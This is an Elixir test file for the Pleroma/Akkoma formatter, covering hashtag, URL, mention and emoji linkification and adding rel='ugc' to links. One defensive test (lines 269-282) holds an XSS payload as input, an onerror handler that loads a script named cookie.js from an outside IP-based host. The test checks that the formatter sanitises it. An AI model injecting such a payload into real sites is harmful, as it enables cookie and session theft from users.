Add support for `rel="ugc"`
[akkoma] / test / formatter_test.exs
1 # Pleroma: A lightweight social networking server
2 # Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
3 # SPDX-License-Identifier: AGPL-3.0-only
4
5 defmodule Pleroma.FormatterTest do
6 alias Pleroma.Formatter
7 alias Pleroma.User
8 use Pleroma.DataCase
9
10 import Pleroma.Factory
11
12 setup_all do
13 Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
14 :ok
15 end
16
17 describe ".add_hashtag_links" do
18 test "turns hashtags into links" do
19 text = "I love #cofe and #2hu"
20
21 expected_text =
22 "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
23
24 assert {^expected_text, [], _tags} = Formatter.linkify(text)
25 end
26
27 test "does not turn html characters to tags" do
28 text = "#fact_3: pleroma does what mastodon't"
29
30 expected_text =
31 "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
32
33 assert {^expected_text, [], _tags} = Formatter.linkify(text)
34 end
35 end
36
37 describe ".add_links" do
38 test "turning urls into links" do
39 text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
40
41 expected =
42 ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
43
44 assert {^expected, [], []} = Formatter.linkify(text)
45
46 text = "https://mastodon.social/@lambadalambda"
47
48 expected =
49 ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
50
51 assert {^expected, [], []} = Formatter.linkify(text)
52
53 text = "https://mastodon.social:4000/@lambadalambda"
54
55 expected =
56 ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
57
58 assert {^expected, [], []} = Formatter.linkify(text)
59
60 text = "@lambadalambda"
61 expected = "@lambadalambda"
62
63 assert {^expected, [], []} = Formatter.linkify(text)
64
65 text = "http://www.cs.vu.nl/~ast/intel/"
66
67 expected =
68 ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
69
70 assert {^expected, [], []} = Formatter.linkify(text)
71
72 text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
73
74 expected =
75 "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
76
77 assert {^expected, [], []} = Formatter.linkify(text)
78
79 text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
80
81 expected =
82 "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
83
84 assert {^expected, [], []} = Formatter.linkify(text)
85
86 text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
87
88 expected =
89 "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
90
91 assert {^expected, [], []} = Formatter.linkify(text)
92
93 text = "https://en.wikipedia.org/wiki/Duff's_device"
94
95 expected =
96 "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
97
98 assert {^expected, [], []} = Formatter.linkify(text)
99
100 text = "https://pleroma.com https://pleroma.com/sucks"
101
102 expected =
103 "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
104
105 assert {^expected, [], []} = Formatter.linkify(text)
106
107 text = "xmpp:contact@hacktivis.me"
108
109 expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
110
111 assert {^expected, [], []} = Formatter.linkify(text)
112
113 text =
114 "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
115
116 expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
117
118 assert {^expected, [], []} = Formatter.linkify(text)
119 end
120 end
121
122 describe "add_user_links" do
123 test "gives a replacement for user links, using local nicknames in user links text" do
124 text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
125 gsimg = insert(:user, %{nickname: "gsimg"})
126
127 archaeme =
128 insert(:user, %{
129 nickname: "archa_eme_",
130 info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
131 })
132
133 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
134
135 {text, mentions, []} = Formatter.linkify(text)
136
137 assert length(mentions) == 3
138
139 expected_text =
140 "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
141 gsimg.ap_id
142 }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
143 archaeme.id
144 }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
145 archaeme_remote.id
146 }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
147
148 assert expected_text == text
149 end
150
151 test "gives a replacement for user links when the user is using Osada" do
152 {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
153
154 text = "@mike@osada.macgirvin.com test"
155
156 {text, mentions, []} = Formatter.linkify(text)
157
158 assert length(mentions) == 1
159
160 expected_text =
161 "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
162
163 assert expected_text == text
164 end
165
166 test "gives a replacement for single-character local nicknames" do
167 text = "@o hi"
168 o = insert(:user, %{nickname: "o"})
169
170 {text, mentions, []} = Formatter.linkify(text)
171
172 assert length(mentions) == 1
173
174 expected_text =
175 "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
176
177 assert expected_text == text
178 end
179
180 test "does not give a replacement for single-character local nicknames who don't exist" do
181 text = "@a hi"
182
183 expected_text = "@a hi"
184 assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
185 end
186
187 test "given the 'safe_mention' option, it will only mention people in the beginning" do
188 user = insert(:user)
189 other_user = insert(:user)
190 third_user = insert(:user)
191 text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
192 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
193
194 assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
195
196 assert expected_text ==
197 "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
198 user.ap_id
199 }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
200 other_user.id
201 }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
202 third_user.id
203 }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
204 end
205
206 test "given the 'safe_mention' option, it will still work without any mention" do
207 text = "A post without any mention"
208 {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
209
210 assert mentions == []
211 assert expected_text == text
212 end
213
214 test "given the 'safe_mention' option, it will keep text after newlines" do
215 user = insert(:user)
216 text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
217
218 {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
219
220 assert expected_text =~ "how are you doing?"
221 end
222 end
223
224 describe ".parse_tags" do
225 test "parses tags in the text" do
226 text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
227
228 expected_tags = [
229 {"#Test", "test"},
230 {"#working", "working"},
231 {"#は", "は"},
232 {"#漢字", "漢字"}
233 ]
234
235 assert {_text, [], ^expected_tags} = Formatter.linkify(text)
236 end
237 end
238
239 test "it can parse mentions and return the relevant users" do
240 text =
241 "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
242
243 o = insert(:user, %{nickname: "o"})
244 jimm = insert(:user, %{nickname: "jimm"})
245 gsimg = insert(:user, %{nickname: "gsimg"})
246 archaeme = insert(:user, %{nickname: "archaeme"})
247 archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
248
249 expected_mentions = [
250 {"@archaeme", archaeme},
251 {"@archaeme@archae.me", archaeme_remote},
252 {"@gsimg", gsimg},
253 {"@jimm", jimm},
254 {"@o", o}
255 ]
256
257 assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
258 end
259
260 test "it adds cool emoji" do
261 text = "I love :firefox:"
262
263 expected_result =
264 "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
265
266 assert Formatter.emojify(text) == expected_result
267 end
268
269 test "it does not add XSS emoji" do
270 text =
271 "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
272
273 custom_emoji = %{
274 "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
275 "https://placehold.it/1x1"
276 }
277
278 expected_result =
279 "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
280
281 assert Formatter.emojify(text, custom_emoji) == expected_result
282 end
283
284 test "it returns the emoji used in the text" do
285 text = "I love :firefox:"
286
287 assert Formatter.get_emoji(text) == [
288 {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
289 ]
290 end
291
292 test "it returns a nice empty result when no emojis are present" do
293 text = "I love moominamma"
294 assert Formatter.get_emoji(text) == []
295 end
296
297 test "it doesn't die when text is absent" do
298 text = nil
299 assert Formatter.get_emoji(text) == []
300 end
301
302 test "it escapes HTML in plain text" do
303 text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
304 expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
305
306 assert Formatter.html_escape(text, "text/plain") == expected
307 end
308 end